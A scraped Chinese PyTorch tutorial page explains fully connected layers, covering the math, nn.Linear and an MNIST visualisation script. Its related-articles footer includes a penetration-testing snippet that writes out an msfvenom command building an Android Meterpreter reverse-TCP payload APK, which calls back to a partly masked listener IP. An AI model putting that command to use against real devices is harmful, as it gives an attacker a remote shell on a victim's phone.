Pytorch深度學習框架實戰教程-番外篇05-Pytorch全連接層概念定義、工作原理和作用

?相關文章 + 視頻教程

《Pytorch深度學習框架實戰教程01》《視頻教程

Pytorch深度學習框架實戰教程02:開發環境部署》《視頻教程

Pytorch深度學習框架實戰教程03:Tensor 的創建、屬性、操作與轉換詳解》《視頻教程

《Pytorch深度學習框架實戰教程04:Pytorch數據集和數據導入器》《視頻教程

《Pytorch深度學習框架實戰教程05:Pytorch構建神經網絡模型》《視頻教程

《Pytorch深度學習框架實戰教程06:Pytorch模型訓練和評估》《視頻教程

Pytorch深度學習框架實戰教程09:模型的保存和加載》《視頻教程》

《Pytorch深度學習框架實戰教程10:模型推理和測試》《視頻教程》

Pytorch深度學習框架實戰教程-番外篇01-卷積神經網絡概念定義、工作原理和作用

Pytorch深度學習框架實戰教程-番外篇02-Pytorch池化層概念定義、工作原理和作用

Pytorch深度學習框架實戰教程-番外篇03-什么是激活函數,激活函數的作用和常用激活函數

PyTorch 深度學習框架實戰教程-番外篇04:卷積層詳解與實戰指南

Pytorch深度學習框架實戰教程-番外篇05-Pytorch全連接層概念定義、工作原理和作用

Pytorch深度學習框架實戰教程-番外篇06:Pytorch損失函數原理、類型和案例

Pytorch深度學習框架實戰教程-番外篇10-PyTorch中的nn.Linear詳解

引言

你是否好奇,當神經網絡處理完圖像特征后,最終是如何判斷 "這是一只貓" 還是 "這是一只狗" 的?答案就藏在全連接層(Fully Connected Layer)里。作為神經網絡的 "決策中心",全連接層承擔著特征整合與最終預測的關鍵角色。本文將帶你從底層原理到 PyTorch 實戰,徹底搞懂全連接層的工作機制。

一、什么是全連接層?

全連接層(又稱密集連接層,Dense Layer)是神經網絡中最基礎也最常用的層結構。其核心特征是:當前層的每個神經元與前一層的所有神經元完全連接,形成 "全連接" 的拓撲結構。

在 PyTorch 中,全連接層通過nn.Linear實現,它本質上是對輸入特征執行線性變換(矩陣乘法 + 偏置),并可配合激活函數實現非線性映射。

二、全連接層的工作原理:從數學到直觀理解

全連接層的工作過程可以拆解為兩個核心步驟,我們用具體例子說明:

1. 線性變換:矩陣乘法的魔力

假設前一層輸出的特征向量為x(形狀為[in_features]),全連接層的計算過程為:

y = x · W + b

其中:

  • W是權重矩陣(形狀為[out_features, in_features]),每個元素W[i][j]表示前層第j個神經元與當前層第i個神經元的連接強度;
  • b是偏置向量(形狀為[out_features]),為每個輸出神經元提供偏移量;
  • y是輸出向量(形狀為[out_features]),即線性變換的結果。

實例計算

若輸入x = [x1, x2, x3](in_features=3),輸出神經元數out_features=2,則:

y1 = x1×W11 + x2×W12 + x3×W13 + b1 

y2 = x1×W21 + x2×W22 + x3×W23 + b2

用矩陣表即為:

[ y1 ] = [ W11 W12 W13 ] [x1] + [b1] 

[ y2 ] [ W21 W22 W23 ] [x2] [b2]

[x3]

2. 非線性激活:突破線性限制

單純的線性變換無法擬合復雜數據分布(多層線性變換等價于單層線性變換),因此全連接層通常會搭配激活函數(如 ReLU、Sigmoid):

y = σ(x · W + b)

激活函數為網絡引入非線性能力,使其能學習復雜的特征映射關系。例如在分類任務中,輸出層的全連接層會配合 Softmax 激活,將輸出轉換為類別概率分布。

三、全連接層的核心作用:從特征到決策

全連接層在神經網絡中扮演著 "決策者" 的角色,主要有三大作用:

1. 特征整合:將局部特征 "串聯" 成全局信息

在卷積神經網絡(CNN)中,卷積層和池化層提取的是局部特征(如邊緣、紋理、部件),而全連接層會將這些分散的局部特征整合為全局特征。例如:

  • 卷積層可能檢測到 "貓的耳朵"" 貓的爪子 " 等局部特征;
  • 全連接層則將這些特征整合,判斷 "這些特征組合起來是一只貓"。

2. 維度映射:將高維特征投影到目標空間

全連接層可以靈活調整特征維度,將前層輸出的高維特征映射到目標維度:

  • 分類任務中,映射到[類別數]維度(如 10 類圖像分類輸出 10 維向量);
  • 回歸任務中,映射到[1]維度(如預測房價輸出單個數值);
  • 嵌入任務中,映射到指定維度的特征向量(如將文本映射到 128 維語義向量)。

3. 決策輸出:直接產生可解釋的預測結果

全連接層的輸出通常具有明確的業務含義:

  • 分類問題中,輸出向量經過 Softmax 后表示每個類別的概率;
  • 推薦系統中,輸出表示用戶對物品的偏好分數;
  • 自動駕駛中,輸出表示轉向角度、剎車力度等控制信號。

四、PyTorch 全連接層實戰:從 API 到可視化

PyTorch 的nn.Linear是實現全連接層的核心 API,下面通過完整案例展示其用法。

1. nn.Linear核心參數解析

n.Linear(

in_features, # 輸入特征維度

out_features, # 輸出特征維度

bias=True # 是否添加偏置項(默認True)

)

  • 參數數量計算:總參數量 = in_features × out_features + out_features(權重矩陣 + 偏置向量);
  • 輸入輸出形狀:輸入[batch_size, *, in_features] → 輸出[batch_size, *, out_features](*表示任意中間維度)。

2. 完整實戰案例:MNIST 手寫數字識別中的全連接層

我們將構建一個含全連接層的神經網絡,用于 MNIST 手寫數字分類,并可視化全連接層的特征轉換過程。

import torchimport torch.nn as nnimport torchvision.datasets as datasetsimport torchvision.transforms as transformsimport matplotlib.pyplot as pltimport numpy as np# 1. 數據準備:加載MNIST數據集transform = transforms.Compose([transforms.ToTensor(), # 轉為Tensor([1,28,28])transforms.Normalize((0.1307,), (0.3081,)) # MNIST標準化參數])# 加載測試集(僅用于演示)test_dataset = datasets.MNIST(root='./data', train=False, download=True, transform=transform)test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=16, shuffle=True)# 2. 定義含全連接層的神經網絡class FCDemo(nn.Module):def __init__(self):super(FCDemo, self).__init__()# flatten:將28×28圖像展平為784維向量# 第一個全連接層:784→128(降維并提取特征)self.fc1 = nn.Linear(28*28, 128)# 第二個全連接層:128→64(進一步整合特征)self.fc2 = nn.Linear(128, 64)# 輸出層:64→10(10個數字類別)self.fc3 = nn.Linear(64, 10)# 激活函數self.relu = nn.ReLU()def forward(self, x, return_intermediate=False):# 展平圖像:[batch, 1, 28, 28] → [batch, 784]x = x.view(x.size(0), -1)# 記錄中間特征(用于可視化)x1 = self.relu(self.fc1(x)) # 第一個全連接層輸出x2 = self.relu(self.fc2(x1)) # 第二個全連接層輸出x3 = self.fc3(x2) # 輸出層if return_intermediate:return x3, x1, x2 # 返回輸出和中間特征return x3# 3. 初始化模型并加載預訓練權重(模擬訓練好的模型)model = FCDemo()# 為演示效果,隨機初始化一個"看起來合理"的權重def init_weights(m):if isinstance(m, nn.Linear):nn.init.kaiming_normal_(m.weight, mode='fan_in', nonlinearity='relu')if m.bias is not None:nn.init.constant_(m.bias, 0)model.apply(init_weights)# 4. 可視化全連接層的特征轉換過程def visualize_fc_transformations():# 獲取一批測試數據images, labels = next(iter(test_loader))# 前向傳播并獲取中間特征outputs, x1, x2 = model(images, return_intermediate=True)# 取第一個樣本進行可視化idx = 0img = images[idx].squeeze().numpy() # 原始圖像feat1 = x1[idx].detach().numpy() # 第一個全連接層輸出(128維)feat2 = x2[idx].detach().numpy() # 第二個全連接層輸出(64維)pred = torch.argmax(outputs[idx]).item() # 預測結果plt.figure(figsize=(15, 5))# 子圖1:原始圖像plt.subplot(1, 3, 1)plt.title(f"Original Image (Label: {labels[idx]}, Pred: {pred})")plt.imshow(img, cmap='gray')plt.axis('off')# 子圖2:第一個全連接層特征(128維)plt.subplot(1, 3, 2)plt.title("FC1 Output (128 features)")plt.bar(range(128), feat1)plt.xlabel("Feature Index")plt.ylabel("Activation Value")# 子圖3:第二個全連接層特征(64維)plt.subplot(1, 3, 3)plt.title("FC2 Output (64 features)")plt.bar(range(64), feat2)plt.xlabel("Feature Index")plt.ylabel("Activation Value")plt.tight_layout()plt.show()# 5. 打印模型參數信息def print_model_params():print("模型參數詳情:")for name, param in model.named_parameters():if 'weight' in name:print(f"{name}: 形狀 {param.shape}, 參數量 {param.numel()}")elif 'bias' in name:print(f"{name}: 形狀 {param.shape}, 參數量 {param.numel()}")total_params = sum(p.numel() for p in model.parameters())print(f"\n總參數量:{total_params}")# 執行可視化和參數打印if __name__ == "__main__":visualize_fc_transformations()print_model_params()

3. 代碼解讀與結果分析

  • 模型結構

輸入圖像(28×28)→ 展平為 784 維 → 全連接層 1(784→128)→ 全連接層 2(128→64)→ 輸出層(64→10)。

每層全連接層后添加 ReLU 激活,引入非線性能力。

  • 參數計算
    • fc1:784×128 + 128 = 100480 個參數
    • fc2:128×64 + 64 = 8256 個參數
    • fc3:64×10 + 10 = 650 個參數

總參數量:100480 + 8256 + 650 = 109,386

  • 可視化結果

原始圖像經過全連接層后,從 2D 像素矩陣逐步轉換為 128 維、64 維的特征向量,最終映射到 10 維輸出(對應 10 個數字的預測分數)。特征維度的降低過程,正是全連接層對信息的提煉與整合。

五、全連接層的優缺點與使用建議

優點:

  • 靈活性高:可任意調整輸入輸出維度,適配各種任務;
  • 解釋性強:每個輸出直接與所有輸入相關,便于追溯特征影響;
  • 實現簡單:僅需矩陣乘法,計算效率高。

缺點:

  • 參數量大:輸入維度較高時(如 224×224 圖像展平后有 50176 維),參數量會急劇增加,容易過擬合;
  • 缺乏局部感知:對圖像等網格數據,忽視局部特征關聯性(因此通常與卷積層配合使用)。

實用技巧:

  1. 降維使用:在高維輸入(如圖像)后使用時,逐步降低維度(如 784→128→64),避免參數量爆炸;
  1. 配合正則化:添加nn.Dropout(如nn.Dropout(0.5))減少過擬合;
  1. 最后使用:在 CNN 中通常放在網絡末尾,用于最終決策而非特征提取。

六、總結

全連接層作為神經網絡的 "決策中心",通過簡單的矩陣乘法實現了從特征到預測的關鍵轉換。它雖然結構簡單,卻在各種任務中發揮著不可替代的作用。理解全連接層的工作原理,不僅能幫助你更好地設計網絡結構,更能加深對神經網絡 "特征學習" 本質的認知。

下一篇文章,我們將探討 "全連接層與卷積層的組合策略",告訴你如何設計更高效的神經網絡架構。關注我,獲取更多 PyTorch 實戰干貨!

互動話題:你在使用全連接層時遇到過哪些參數調優問題?歡迎在評論區分享你的經驗~

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/92726.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/92726.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/92726.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

生產環境中Spring Cloud Config高可用與動態刷新實戰經驗分享

生產環境中Spring Cloud Config高可用與動態刷新實戰經驗分享 一、業務場景描述 在微服務架構中,配置中心承擔集中化管理各微服務配置的職責。隨著服務實例數量增加,單點部署的Spring Cloud Config Server無法滿足生產環境的高可用需求。同時&#xff0c…

華為服務器中Mindie鏡像的部署及啟動方法

一、部署方法 首先要安裝好Docker,然后點開網址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取鏡像需要申請權限: 注冊登錄后,即可提交申請,一般需要一個工作日,等審核通過后,點擊下載即可彈出如下提示框: 按照上述方法…

Unity基于Recoder的API寫了一個隨時錄屏的工具

Tips: 需要有Recorder Package引用或存在在項目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

安卓滲透基礎(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一個工具,用于給 APK 文件簽名,確保應用的完整性和安全性。進入 File > Settings > Appearance &a…

從零構建自定義Spring Boot Starter:打造你的專屬開箱即用組件

一、引言:為什么需要自定義Spring Boot Starter Spring Boot的核心理念是"約定優于配置",而Starter(啟動器)正是這一理念的最佳實踐。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通過封裝常用組件的配置,讓開發者能夠"…

MySQL 基礎操作教程

MySQL 是目前最流行的開源關系型數據庫管理系統之一,廣泛應用于Web開發、數據分析等場景。掌握基礎的增刪改查操作是入門的關鍵。本文將從環境準備開始,帶你深入,mysql一、前置準備:安裝與連接 MySQL 1. 安裝 MySQL Windows&#…

批量把在線網絡JSON文件(URL)轉換成Excel工具 JSON to Excel by WTSolutions

產品介紹 JSON to Excel by WTSolutions 是一款功能強大的工具,能夠將JSON數據快速轉換為Excel格式。該工具提供兩種使用方式:作為Microsoft Excel插件或作為在線網頁應用,滿足不同用戶的需求。無論是處理簡單的扁平JSON還是復雜的嵌套JSON結…

【排序算法】③直接選擇排序

系列文章目錄 第一篇:【排序算法】①直接插入排序-CSDN博客 第二篇:【排序算法】②希爾排序-CSDN博客 第三篇:【排序算法】③直接選擇排序-CSDN博客 第四篇:【排序算法】④堆排序-CSDN博客 第五篇:【排序算法】⑤冒…

2024年ESWA SCI1區TOP,自適應種群分配和變異選擇差分進化算法iDE-APAMS,深度解析+性能實測

目錄1.摘要2.自適應種群分配和變異選擇差分進化算法iDE-APAMS3.結果展示4.參考文獻5.代碼獲取6.算法輔導應用定制讀者交流1.摘要 為了提高差分進化算法(DE)在不同優化問題上的性能,本文提出了一種自適應種群分配和變異選擇差分進化算法&…

目標檢測數據集 - 無人機檢測數據集下載「包含COCO、YOLO兩種格式」

數據集介紹:無人機檢測數據集,真實采集高質量含無人機圖片數據,適用于空中飛行無人機的檢測。數據標注標簽包括 drone 無人機一個類別;適用實際項目應用:無人機檢測項目,以及作為通用檢測數據集場景數據的補…

Linux DNS服務解析原理與搭建

一、什么是DNSDNS 是域名服務 (Domain Name System) 的縮寫,它是由解析器和域名服務器組成的。 域名服務器是指保存有該網絡中所有主機的域名和對應IP地址, 并具有將域名轉換為IP地址功能的服務器。 域名必須對應一個IP地址,而IP地址不一定有…

typecho博客設置瀏覽器標簽頁圖標icon

修改瀏覽器標簽頁圖標(favicon.ico):第1種:上傳到服務器本地目錄1、制作圖標文件:準備一張長寬比為 1:1 的圖片,將其上傳到第三方 ico 生成網站,生成后綴為.ico 的圖片文件,并將其命…

LoadBalancingSpi

本文是 Apache Ignite 中 Load Balancing SPI(負載均衡服務提供接口) 的核心說明,特別是其默認實現 RoundRobinLoadBalancingSpi 的工作原理。 它解釋了 Ignite 如何在集群中智能地將任務(Job)分配到不同的節點上執行&…

Day43--動態規劃--674. 最長連續遞增序列,300. 最長遞增子序列,718. 最長重復子數組

Day43–動態規劃–674. 最長連續遞增序列,300. 最長遞增子序列,718. 最長重復子數組 674. 最長連續遞增序列 方法:動態規劃 思路: dp[i]含義:到i這個位置(包含i)的連續遞增子序列的長度遞推…

支持 UMD 自定義組件與版本控制:從 Schema 到動態渲染

源碼 ? 支持 UMD 自定義組件與版本控制:從 Schema 到動態渲染 在低代碼平臺或可視化大屏 SDK 中,支持用戶上傳自定義組件 是一個必備能力。 而在 React 場景下,自定義組件通常以 UMD 格式 打包并暴露為全局變量。 本篇文章,我…

zookeeper3.8.4安裝以及客戶端C++api編譯

服務端直接下載編譯好的bin版本 Apache Download Mirrors C客戶端需要編譯庫文件 zookeeper 3.8.4 使用與C API編譯 - 丘貍尾 - 博客園 雜七雜八的依賴 sudo apt update sudo apt install -y \autoconf automake libtool libtool-bin m4 pkg-config gettext \cmake build-es…

使用行為樹控制機器人(一) —— 節點

文章目錄一、背景需求二、創建ActionNodes1. 功能實現1.1 頭文件定義1.2 源文件實現1.3 main文件實現1.4 my_tree.xml 實現2. 執行結果三、 執行失敗處理1. 添加嘗試次數1.1 功能實現1.2 實驗結果2. 完善異常處理2.1 多節點組合兜底2.2 實驗結果使用行為樹控制機器人(一) —— …

JavaScript Window Location

JavaScript Window Location JavaScript中的window.location對象是操作瀏覽器地址欄URL的一個非常有用的對象。它允許開發者獲取當前頁面的URL、查詢字符串、路徑等,并且可以修改它們來導航到不同的頁面。以下是關于window.location的詳細解析。 1. window.location…

Kubernetes生產環境健康檢查自動化指南

核心腳本功能: 一鍵檢查集群核心組件狀態自動化掃描節點/Pod異常存儲與網絡關鍵指標檢測風險分級輸出(紅/黃/綠標識)一、自動化巡檢腳本 (k8s-health-check.sh) #!/bin/bash # Desc: Kubernetes全維度健康檢查腳本 # 執行要求:kub…